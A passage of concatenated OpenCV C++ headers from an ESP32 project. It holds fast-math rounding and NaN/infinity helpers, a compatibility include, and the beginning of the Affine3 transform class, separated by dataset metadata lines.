// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_FAST_MATH_HPP
#define OPENCV_CORE_FAST_MATH_HPP
#include "opencv2/core/cvdef.h"
//! @addtogroup core_utils
//! @{
/****************************************************************************************\
* fast math *
\****************************************************************************************/
#ifdef __cplusplus
# include <cmath>
#else
# ifdef __BORLANDC__
# include <fastmath.h>
# else
# include <math.h>
# endif
#endif
#if defined(__CUDACC__)
// nothing, intrinsics/asm code is not supported
#else
#if ((defined _MSC_VER && defined _M_X64) \
|| (defined __GNUC__ && defined __x86_64__ && defined __SSE2__)) \
&& !defined(OPENCV_SKIP_INCLUDE_EMMINTRIN_H)
#include <emmintrin.h>
#endif
#if defined __PPC64__ && defined __GNUC__ && defined _ARCH_PWR8 \
&& !defined(OPENCV_SKIP_INCLUDE_ALTIVEC_H)
#include <altivec.h>
#endif
#if defined(CV_INLINE_ROUND_FLT)
// user-specified version
// CV_INLINE_ROUND_DBL should be defined too
#elif defined __GNUC__ && defined __arm__ && (defined __ARM_PCS_VFP || defined __ARM_VFPV3__ || defined __ARM_NEON__) && !defined __SOFTFP__
// 1. general scheme
#define ARM_ROUND(_value, _asm_string) \
int res; \
float temp; \
CV_UNUSED(temp); \
__asm__(_asm_string : [res] "=r" (res), [temp] "=w" (temp) : [value] "w" (_value)); \
return res
// 2. version for double
#ifdef __clang__
#define CV_INLINE_ROUND_DBL(value) ARM_ROUND(value, "vcvtr.s32.f64 %[temp], %[value] \n vmov %[res], %[temp]")
#else
#define CV_INLINE_ROUND_DBL(value) ARM_ROUND(value, "vcvtr.s32.f64 %[temp], %P[value] \n vmov %[res], %[temp]")
#endif
// 3. version for float
#define CV_INLINE_ROUND_FLT(value) ARM_ROUND(value, "vcvtr.s32.f32 %[temp], %[value]\n vmov %[res], %[temp]")
#elif defined __PPC64__ && defined __GNUC__ && defined _ARCH_PWR8
// P8 and newer machines can convert fp32/64 to int quickly.
#define CV_INLINE_ROUND_DBL(value) \
int out; \
double temp; \
__asm__( "fctiw %[temp],%[in]\n\tmfvsrwz %[out],%[temp]\n\t" : [out] "=r" (out), [temp] "=d" (temp) : [in] "d" ((double)(value)) : ); \
return out;
// FP32 also works with FP64 routine above
#define CV_INLINE_ROUND_FLT(value) CV_INLINE_ROUND_DBL(value)
#endif
#ifdef CV_INLINE_ISINF_FLT
// user-specified version
// CV_INLINE_ISINF_DBL should be defined too
#elif defined __PPC64__ && defined _ARCH_PWR9 && defined(scalar_test_data_class)
#define CV_INLINE_ISINF_DBL(value) return scalar_test_data_class(value, 0x30);
#define CV_INLINE_ISINF_FLT(value) CV_INLINE_ISINF_DBL(value)
#endif
#ifdef CV_INLINE_ISNAN_FLT
// user-specified version
// CV_INLINE_ISNAN_DBL should be defined too
#elif defined __PPC64__ && defined _ARCH_PWR9 && defined(scalar_test_data_class)
#define CV_INLINE_ISNAN_DBL(value) return scalar_test_data_class(value, 0x40);
#define CV_INLINE_ISNAN_FLT(value) CV_INLINE_ISNAN_DBL(value)
#endif
#if !defined(OPENCV_USE_FASTMATH_BUILTINS) \
&& ( \
defined(__x86_64__) || defined(__i686__) \
|| defined(__arm__) \
|| defined(__PPC64__) \
)
/* Let builtin C math functions when available. Dedicated hardware is available to
round and convert FP values. */
#define OPENCV_USE_FASTMATH_BUILTINS 1
#endif
/* Enable builtin math functions if possible, desired, and available.
Note, not all math functions inline equally. E.g lrint will not inline
without the -fno-math-errno option. */
#if defined(CV_ICC)
// nothing
#elif defined(OPENCV_USE_FASTMATH_BUILTINS) && OPENCV_USE_FASTMATH_BUILTINS
#if defined(__clang__)
#define CV__FASTMATH_ENABLE_CLANG_MATH_BUILTINS
#if !defined(CV_INLINE_ISNAN_DBL) && __has_builtin(__builtin_isnan)
#define CV_INLINE_ISNAN_DBL(value) return __builtin_isnan(value);
#endif
#if !defined(CV_INLINE_ISNAN_FLT) && __has_builtin(__builtin_isnan)
#define CV_INLINE_ISNAN_FLT(value) return __builtin_isnan(value);
#endif
#if !defined(CV_INLINE_ISINF_DBL) && __has_builtin(__builtin_isinf)
#define CV_INLINE_ISINF_DBL(value) return __builtin_isinf(value);
#endif
#if !defined(CV_INLINE_ISINF_FLT) && __has_builtin(__builtin_isinf)
#define CV_INLINE_ISINF_FLT(value) return __builtin_isinf(value);
#endif
#elif defined(__GNUC__)
#define CV__FASTMATH_ENABLE_GCC_MATH_BUILTINS
#if !defined(CV_INLINE_ISNAN_DBL)
#define CV_INLINE_ISNAN_DBL(value) return __builtin_isnan(value);
#endif
#if !defined(CV_INLINE_ISNAN_FLT)
#define CV_INLINE_ISNAN_FLT(value) return __builtin_isnanf(value);
#endif
#if !defined(CV_INLINE_ISINF_DBL)
#define CV_INLINE_ISINF_DBL(value) return __builtin_isinf(value);
#endif
#if !defined(CV_INLINE_ISINF_FLT)
#define CV_INLINE_ISINF_FLT(value) return __builtin_isinff(value);
#endif
#elif defined(_MSC_VER)
#if !defined(CV_INLINE_ISNAN_DBL)
#define CV_INLINE_ISNAN_DBL(value) return isnan(value);
#endif
#if !defined(CV_INLINE_ISNAN_FLT)
#define CV_INLINE_ISNAN_FLT(value) return isnan(value);
#endif
#if !defined(CV_INLINE_ISINF_DBL)
#define CV_INLINE_ISINF_DBL(value) return isinf(value);
#endif
#if !defined(CV_INLINE_ISINF_FLT)
#define CV_INLINE_ISINF_FLT(value) return isinf(value);
#endif
#endif
#endif
#endif // defined(__CUDACC__)
/** @brief Rounds floating-point number to the nearest integer
@param value floating-point number. If the value is outside of INT_MIN ... INT_MAX range, the
result is not defined.
*/
CV_INLINE int
cvRound( double value )
{
#if defined CV_INLINE_ROUND_DBL
CV_INLINE_ROUND_DBL(value);
#elif ((defined _MSC_VER && defined _M_X64) || (defined __GNUC__ && defined __x86_64__ \
&& defined __SSE2__ && !defined __APPLE__) || CV_SSE2) \
&& !defined(__CUDACC__)
__m128d t = _mm_set_sd( value );
return _mm_cvtsd_si32(t);
#elif defined _MSC_VER && defined _M_IX86
int t;
__asm
{
fld value;
fistp t;
}
return t;
#elif defined CV_ICC || defined __GNUC__
return (int)(lrint(value));
#else
/* it's ok if round does not comply with IEEE754 standard;
the tests should allow +/-1 difference when the tested functions use round */
return (int)(value + (value >= 0 ? 0.5 : -0.5));
#endif
}
/** @brief Rounds floating-point number to the nearest integer not larger than the original.
The function computes an integer i such that:
\f[i \le \texttt{value} < i+1\f]
@param value floating-point number. If the value is outside of INT_MIN ... INT_MAX range, the
result is not defined.
*/
CV_INLINE int cvFloor( double value )
{
#if (defined CV__FASTMATH_ENABLE_GCC_MATH_BUILTINS || defined CV__FASTMATH_ENABLE_CLANG_MATH_BUILTINS) \
&& ( \
defined(__PPC64__) \
)
return __builtin_floor(value);
#else
int i = (int)value;
return i - (i > value);
#endif
}
/** @brief Rounds floating-point number to the nearest integer not smaller than the original.
The function computes an integer i such that:
\f[i \le \texttt{value} < i+1\f]
@param value floating-point number. If the value is outside of INT_MIN ... INT_MAX range, the
result is not defined.
*/
CV_INLINE int cvCeil( double value )
{
#if (defined CV__FASTMATH_ENABLE_GCC_MATH_BUILTINS || defined CV__FASTMATH_ENABLE_CLANG_MATH_BUILTINS) \
&& ( \
defined(__PPC64__) \
)
return __builtin_ceil(value);
#else
int i = (int)value;
return i + (i < value);
#endif
}
/** @brief Determines if the argument is Not A Number.
@param value The input floating-point value
The function returns 1 if the argument is Not A Number (as defined by IEEE754 standard), 0
otherwise. */
CV_INLINE int cvIsNaN( double value )
{
#if defined CV_INLINE_ISNAN_DBL
CV_INLINE_ISNAN_DBL(value);
#else
Cv64suf ieee754;
ieee754.f = value;
return ((unsigned)(ieee754.u >> 32) & 0x7fffffff) +
((unsigned)ieee754.u != 0) > 0x7ff00000;
#endif
}
/** @brief Determines if the argument is Infinity.
@param value The input floating-point value
The function returns 1 if the argument is a plus or minus infinity (as defined by IEEE754 standard)
and 0 otherwise. */
CV_INLINE int cvIsInf( double value )
{
#if defined CV_INLINE_ISINF_DBL
CV_INLINE_ISINF_DBL(value);
#elif defined(__x86_64__) || defined(_M_X64) || defined(__aarch64__) || defined(_M_ARM64) || defined(__PPC64__)
Cv64suf ieee754;
ieee754.f = value;
return (ieee754.u & 0x7fffffff00000000) ==
0x7ff0000000000000;
#else
Cv64suf ieee754;
ieee754.f = value;
return ((unsigned)(ieee754.u >> 32) & 0x7fffffff) == 0x7ff00000 &&
(unsigned)ieee754.u == 0;
#endif
}
#ifdef __cplusplus
/** @overload */
CV_INLINE int cvRound(float value)
{
#if defined CV_INLINE_ROUND_FLT
CV_INLINE_ROUND_FLT(value);
#elif ((defined _MSC_VER && defined _M_X64) || (defined __GNUC__ && defined __x86_64__ \
&& defined __SSE2__ && !defined __APPLE__) || CV_SSE2) \
&& !defined(__CUDACC__)
__m128 t = _mm_set_ss( value );
return _mm_cvtss_si32(t);
#elif defined _MSC_VER && defined _M_IX86
int t;
__asm
{
fld value;
fistp t;
}
return t;
#elif defined CV_ICC || defined __GNUC__
return (int)(lrintf(value));
#else
/* it's ok if round does not comply with IEEE754 standard;
the tests should allow +/-1 difference when the tested functions use round */
return (int)(value + (value >= 0 ? 0.5f : -0.5f));
#endif
}
/** @overload */
CV_INLINE int cvRound( int value )
{
return value;
}
/** @overload */
CV_INLINE int cvFloor( float value )
{
#if (defined CV__FASTMATH_ENABLE_GCC_MATH_BUILTINS || defined CV__FASTMATH_ENABLE_CLANG_MATH_BUILTINS) \
&& ( \
defined(__PPC64__) \
)
return __builtin_floorf(value);
#else
int i = (int)value;
return i - (i > value);
#endif
}
/** @overload */
CV_INLINE int cvFloor( int value )
{
return value;
}
/** @overload */
CV_INLINE int cvCeil( float value )
{
#if (defined CV__FASTMATH_ENABLE_GCC_MATH_BUILTINS || defined CV__FASTMATH_ENABLE_CLANG_MATH_BUILTINS) \
&& ( \
defined(__PPC64__) \
)
return __builtin_ceilf(value);
#else
int i = (int)value;
return i + (i < value);
#endif
}
/** @overload */
CV_INLINE int cvCeil( int value )
{
return value;
}
/** @overload */
CV_INLINE int cvIsNaN( float value )
{
#if defined CV_INLINE_ISNAN_FLT
CV_INLINE_ISNAN_FLT(value);
#else
Cv32suf ieee754;
ieee754.f = value;
return (ieee754.u & 0x7fffffff) > 0x7f800000;
#endif
}
/** @overload */
CV_INLINE int cvIsInf( float value )
{
#if defined CV_INLINE_ISINF_FLT
CV_INLINE_ISINF_FLT(value);
#else
Cv32suf ieee754;
ieee754.f = value;
return (ieee754.u & 0x7fffffff) == 0x7f800000;
#endif
}
#endif // __cplusplus
//! @} core_utils
#endif
| 13,464 | fast_math | hpp | en | cpp | code | {"qsc_code_num_words": 1780, "qsc_code_num_chars": 13464.0, "qsc_code_mean_word_length": 4.76460674, "qsc_code_frac_words_unique": 0.20505618, "qsc_code_frac_chars_top_2grams": 0.06320009, "qsc_code_frac_chars_top_3grams": 0.0311284, "qsc_code_frac_chars_top_4grams": 0.03808513, "qsc_code_frac_chars_dupe_5grams": 0.65688008, "qsc_code_frac_chars_dupe_6grams": 0.57611131, "qsc_code_frac_chars_dupe_7grams": 0.50147388, "qsc_code_frac_chars_dupe_8grams": 0.47411862, "qsc_code_frac_chars_dupe_9grams": 0.42660064, "qsc_code_frac_chars_dupe_10grams": 0.41929018, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02714552, "qsc_code_frac_chars_whitespace": 0.20380273, "qsc_code_size_file_byte": 13464.0, "qsc_code_num_lines": 408.0, "qsc_code_num_chars_line_max": 144.0, "qsc_code_num_chars_line_mean": 33.0, "qsc_code_frac_chars_alphabet": 0.76399254, "qsc_code_frac_chars_comments": 0.3723262, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.45112782, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0037594, "qsc_code_frac_chars_string_length": 0.02887232, "qsc_code_frac_chars_long_word_length": 0.0028399, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.01467282, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.2593985, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.32706767, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/core.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifdef __OPENCV_BUILD
#error this is a compatibility header which should not be used inside the OpenCV library
#endif
#include "opencv2/core.hpp"
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0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/affine.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
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// loss of use, data, or profits; or business interruption) however caused
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// or tort (including negligence or otherwise) arising in any way out of
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//M*/
#ifndef OPENCV_CORE_AFFINE3_HPP
#define OPENCV_CORE_AFFINE3_HPP
#ifdef __cplusplus
#include <opencv2/core.hpp>
namespace cv
{
//! @addtogroup core
//! @{
/** @brief Affine transform
*
* It represents a 4x4 homogeneous transformation matrix \f$T\f$
*
* \f[T =
* \begin{bmatrix}
* R & t\\
* 0 & 1\\
* \end{bmatrix}
* \f]
*
* where \f$R\f$ is a 3x3 rotation matrix and \f$t\f$ is a 3x1 translation vector.
*
* You can specify \f$R\f$ either by a 3x3 rotation matrix or by a 3x1 rotation vector,
* which is converted to a 3x3 rotation matrix by the Rodrigues formula.
*
* To construct a matrix \f$T\f$ representing first rotation around the axis \f$r\f$ with rotation
* angle \f$|r|\f$ in radian (right hand rule) and then translation by the vector \f$t\f$, you can use
*
* @code
* cv::Vec3f r, t;
* cv::Affine3f T(r, t);
* @endcode
*
* If you already have the rotation matrix \f$R\f$, then you can use
*
* @code
* cv::Matx33f R;
* cv::Affine3f T(R, t);
* @endcode
*
* To extract the rotation matrix \f$R\f$ from \f$T\f$, use
*
* @code
* cv::Matx33f R = T.rotation();
* @endcode
*
* To extract the translation vector \f$t\f$ from \f$T\f$, use
*
* @code
* cv::Vec3f t = T.translation();
* @endcode
*
* To extract the rotation vector \f$r\f$ from \f$T\f$, use
*
* @code
* cv::Vec3f r = T.rvec();
* @endcode
*
* Note that since the mapping from rotation vectors to rotation matrices
* is many to one. The returned rotation vector is not necessarily the one
* you used before to set the matrix.
*
* If you have two transformations \f$T = T_1 * T_2\f$, use
*
* @code
* cv::Affine3f T, T1, T2;
* T = T2.concatenate(T1);
* @endcode
*
* To get the inverse transform of \f$T\f$, use
*
* @code
* cv::Affine3f T, T_inv;
* T_inv = T.inv();
* @endcode
*
*/
template<typename T>
class Affine3
{
public:
typedef T float_type;
typedef Matx<float_type, 3, 3> Mat3;
typedef Matx<float_type, 4, 4> Mat4;
typedef Vec<float_type, 3> Vec3;
//! Default constructor. It represents a 4x4 identity matrix.
Affine3();
//! Augmented affine matrix
Affine3(const Mat4& affine);
/**
* The resulting 4x4 matrix is
*
* \f[
* \begin{bmatrix}
* R & t\\
* 0 & 1\\
* \end{bmatrix}
* \f]
*
* @param R 3x3 rotation matrix.
* @param t 3x1 translation vector.
*/
Affine3(const Mat3& R, const Vec3& t = Vec3::all(0));
/**
* Rodrigues vector.
*
* The last row of the current matrix is set to [0,0,0,1].
*
* @param rvec 3x1 rotation vector. Its direction indicates the rotation axis and its length
* indicates the rotation angle in radian (using right hand rule).
* @param t 3x1 translation vector.
*/
Affine3(const Vec3& rvec, const Vec3& t = Vec3::all(0));
/**
* Combines all constructors above. Supports 4x4, 3x4, 3x3, 1x3, 3x1 sizes of data matrix.
*
* The last row of the current matrix is set to [0,0,0,1] when data is not 4x4.
*
* @param data 1-channel matrix.
* when it is 4x4, it is copied to the current matrix and t is not used.
* When it is 3x4, it is copied to the upper part 3x4 of the current matrix and t is not used.
* When it is 3x3, it is copied to the upper left 3x3 part of the current matrix.
* When it is 3x1 or 1x3, it is treated as a rotation vector and the Rodrigues formula is used
* to compute a 3x3 rotation matrix.
* @param t 3x1 translation vector. It is used only when data is neither 4x4 nor 3x4.
*/
explicit Affine3(const Mat& data, const Vec3& t = Vec3::all(0));
//! From 16-element array
explicit Affine3(const float_type* vals);
//! Create an 4x4 identity transform
static Affine3 Identity();
/**
* Rotation matrix.
*
* Copy the rotation matrix to the upper left 3x3 part of the current matrix.
* The remaining elements of the current matrix are not changed.
*
* @param R 3x3 rotation matrix.
*
*/
void rotation(const Mat3& R);
/**
* Rodrigues vector.
*
* It sets the upper left 3x3 part of the matrix. The remaining part is unaffected.
*
* @param rvec 3x1 rotation vector. The direction indicates the rotation axis and
* its length indicates the rotation angle in radian (using the right thumb convention).
*/
void rotation(const Vec3& rvec);
/**
* Combines rotation methods above. Supports 3x3, 1x3, 3x1 sizes of data matrix.
*
* It sets the upper left 3x3 part of the matrix. The remaining part is unaffected.
*
* @param data 1-channel matrix.
* When it is a 3x3 matrix, it sets the upper left 3x3 part of the current matrix.
* When it is a 1x3 or 3x1 matrix, it is used as a rotation vector. The Rodrigues formula
* is used to compute the rotation matrix and sets the upper left 3x3 part of the current matrix.
*/
void rotation(const Mat& data);
/**
* Copy the 3x3 matrix L to the upper left part of the current matrix
*
* It sets the upper left 3x3 part of the matrix. The remaining part is unaffected.
*
* @param L 3x3 matrix.
*/
void linear(const Mat3& L);
/**
* Copy t to the first three elements of the last column of the current matrix
*
* It sets the upper right 3x1 part of the matrix. The remaining part is unaffected.
*
* @param t 3x1 translation vector.
*/
void translation(const Vec3& t);
//! @return the upper left 3x3 part
Mat3 rotation() const;
//! @return the upper left 3x3 part
Mat3 linear() const;
//! @return the upper right 3x1 part
Vec3 translation() const;
//! Rodrigues vector.
//! @return a vector representing the upper left 3x3 rotation matrix of the current matrix.
//! @warning Since the mapping between rotation vectors and rotation matrices is many to one,
//! this function returns only one rotation vector that represents the current rotation matrix,
//! which is not necessarily the same one set by `rotation(const Vec3& rvec)`.
Vec3 rvec() const;
//! @return the inverse of the current matrix.
Affine3 inv(int method = cv::DECOMP_SVD) const;
//! a.rotate(R) is equivalent to Affine(R, 0) * a;
Affine3 rotate(const Mat3& R) const;
//! a.rotate(rvec) is equivalent to Affine(rvec, 0) * a;
Affine3 rotate(const Vec3& rvec) const;
//! a.translate(t) is equivalent to Affine(E, t) * a, where E is an identity matrix
Affine3 translate(const Vec3& t) const;
//! a.concatenate(affine) is equivalent to affine * a;
Affine3 concatenate(const Affine3& affine) const;
template <typename Y> operator Affine3<Y>() const;
template <typename Y> Affine3<Y> cast() const;
Mat4 matrix;
#if defined EIGEN_WORLD_VERSION && defined EIGEN_GEOMETRY_MODULE_H
Affine3(const Eigen::Transform<T, 3, Eigen::Affine, (Eigen::RowMajor)>& affine);
Affine3(const Eigen::Transform<T, 3, Eigen::Affine>& affine);
operator Eigen::Transform<T, 3, Eigen::Affine, (Eigen::RowMajor)>() const;
operator Eigen::Transform<T, 3, Eigen::Affine>() const;
#endif
};
template<typename T> static
Affine3<T> operator*(const Affine3<T>& affine1, const Affine3<T>& affine2);
//! V is a 3-element vector with member fields x, y and z
template<typename T, typename V> static
V operator*(const Affine3<T>& affine, const V& vector);
typedef Affine3<float> Affine3f;
typedef Affine3<double> Affine3d;
static Vec3f operator*(const Affine3f& affine, const Vec3f& vector);
static Vec3d operator*(const Affine3d& affine, const Vec3d& vector);
template<typename _Tp> class DataType< Affine3<_Tp> >
{
public:
typedef Affine3<_Tp> value_type;
typedef Affine3<typename DataType<_Tp>::work_type> work_type;
typedef _Tp channel_type;
enum { generic_type = 0,
channels = 16,
fmt = traits::SafeFmt<channel_type>::fmt + ((channels - 1) << 8)
#ifdef OPENCV_TRAITS_ENABLE_DEPRECATED
,depth = DataType<channel_type>::depth
,type = CV_MAKETYPE(depth, channels)
#endif
};
typedef Vec<channel_type, channels> vec_type;
};
namespace traits {
template<typename _Tp>
struct Depth< Affine3<_Tp> > { enum { value = Depth<_Tp>::value }; };
template<typename _Tp>
struct Type< Affine3<_Tp> > { enum { value = CV_MAKETYPE(Depth<_Tp>::value, 16) }; };
} // namespace
//! @} core
}
//! @cond IGNORED
///////////////////////////////////////////////////////////////////////////////////
// Implementation
template<typename T> inline
cv::Affine3<T>::Affine3()
: matrix(Mat4::eye())
{}
template<typename T> inline
cv::Affine3<T>::Affine3(const Mat4& affine)
: matrix(affine)
{}
template<typename T> inline
cv::Affine3<T>::Affine3(const Mat3& R, const Vec3& t)
{
rotation(R);
translation(t);
matrix.val[12] = matrix.val[13] = matrix.val[14] = 0;
matrix.val[15] = 1;
}
template<typename T> inline
cv::Affine3<T>::Affine3(const Vec3& _rvec, const Vec3& t)
{
rotation(_rvec);
translation(t);
matrix.val[12] = matrix.val[13] = matrix.val[14] = 0;
matrix.val[15] = 1;
}
template<typename T> inline
cv::Affine3<T>::Affine3(const cv::Mat& data, const Vec3& t)
{
CV_Assert(data.type() == cv::traits::Type<T>::value);
CV_Assert(data.channels() == 1);
if (data.cols == 4 && data.rows == 4)
{
data.copyTo(matrix);
return;
}
else if (data.cols == 4 && data.rows == 3)
{
rotation(data(Rect(0, 0, 3, 3)));
translation(data(Rect(3, 0, 1, 3)));
}
else
{
rotation(data);
translation(t);
}
matrix.val[12] = matrix.val[13] = matrix.val[14] = 0;
matrix.val[15] = 1;
}
template<typename T> inline
cv::Affine3<T>::Affine3(const float_type* vals) : matrix(vals)
{}
template<typename T> inline
cv::Affine3<T> cv::Affine3<T>::Identity()
{
return Affine3<T>(cv::Affine3<T>::Mat4::eye());
}
template<typename T> inline
void cv::Affine3<T>::rotation(const Mat3& R)
{
linear(R);
}
template<typename T> inline
void cv::Affine3<T>::rotation(const Vec3& _rvec)
{
double theta = norm(_rvec);
if (theta < DBL_EPSILON)
rotation(Mat3::eye());
else
{
double c = std::cos(theta);
double s = std::sin(theta);
double c1 = 1. - c;
double itheta = (theta != 0) ? 1./theta : 0.;
Point3_<T> r = _rvec*itheta;
Mat3 rrt( r.x*r.x, r.x*r.y, r.x*r.z, r.x*r.y, r.y*r.y, r.y*r.z, r.x*r.z, r.y*r.z, r.z*r.z );
Mat3 r_x( 0, -r.z, r.y, r.z, 0, -r.x, -r.y, r.x, 0 );
// R = cos(theta)*I + (1 - cos(theta))*r*rT + sin(theta)*[r_x]
// where [r_x] is [0 -rz ry; rz 0 -rx; -ry rx 0]
Mat3 R = c*Mat3::eye() + c1*rrt + s*r_x;
rotation(R);
}
}
//Combines rotation methods above. Supports 3x3, 1x3, 3x1 sizes of data matrix;
template<typename T> inline
void cv::Affine3<T>::rotation(const cv::Mat& data)
{
CV_Assert(data.type() == cv::traits::Type<T>::value);
CV_Assert(data.channels() == 1);
if (data.cols == 3 && data.rows == 3)
{
Mat3 R;
data.copyTo(R);
rotation(R);
}
else if ((data.cols == 3 && data.rows == 1) || (data.cols == 1 && data.rows == 3))
{
Vec3 _rvec;
data.reshape(1, 3).copyTo(_rvec);
rotation(_rvec);
}
else
CV_Error(Error::StsError, "Input matrix can only be 3x3, 1x3 or 3x1");
}
template<typename T> inline
void cv::Affine3<T>::linear(const Mat3& L)
{
matrix.val[0] = L.val[0]; matrix.val[1] = L.val[1]; matrix.val[ 2] = L.val[2];
matrix.val[4] = L.val[3]; matrix.val[5] = L.val[4]; matrix.val[ 6] = L.val[5];
matrix.val[8] = L.val[6]; matrix.val[9] = L.val[7]; matrix.val[10] = L.val[8];
}
template<typename T> inline
void cv::Affine3<T>::translation(const Vec3& t)
{
matrix.val[3] = t[0]; matrix.val[7] = t[1]; matrix.val[11] = t[2];
}
template<typename T> inline
typename cv::Affine3<T>::Mat3 cv::Affine3<T>::rotation() const
{
return linear();
}
template<typename T> inline
typename cv::Affine3<T>::Mat3 cv::Affine3<T>::linear() const
{
typename cv::Affine3<T>::Mat3 R;
R.val[0] = matrix.val[0]; R.val[1] = matrix.val[1]; R.val[2] = matrix.val[ 2];
R.val[3] = matrix.val[4]; R.val[4] = matrix.val[5]; R.val[5] = matrix.val[ 6];
R.val[6] = matrix.val[8]; R.val[7] = matrix.val[9]; R.val[8] = matrix.val[10];
return R;
}
template<typename T> inline
typename cv::Affine3<T>::Vec3 cv::Affine3<T>::translation() const
{
return Vec3(matrix.val[3], matrix.val[7], matrix.val[11]);
}
template<typename T> inline
typename cv::Affine3<T>::Vec3 cv::Affine3<T>::rvec() const
{
cv::Vec3d w;
cv::Matx33d u, vt, R = rotation();
cv::SVD::compute(R, w, u, vt, cv::SVD::FULL_UV + cv::SVD::MODIFY_A);
R = u * vt;
double rx = R.val[7] - R.val[5];
double ry = R.val[2] - R.val[6];
double rz = R.val[3] - R.val[1];
double s = std::sqrt((rx*rx + ry*ry + rz*rz)*0.25);
double c = (R.val[0] + R.val[4] + R.val[8] - 1) * 0.5;
c = c > 1.0 ? 1.0 : c < -1.0 ? -1.0 : c;
double theta = acos(c);
if( s < 1e-5 )
{
if( c > 0 )
rx = ry = rz = 0;
else
{
double t;
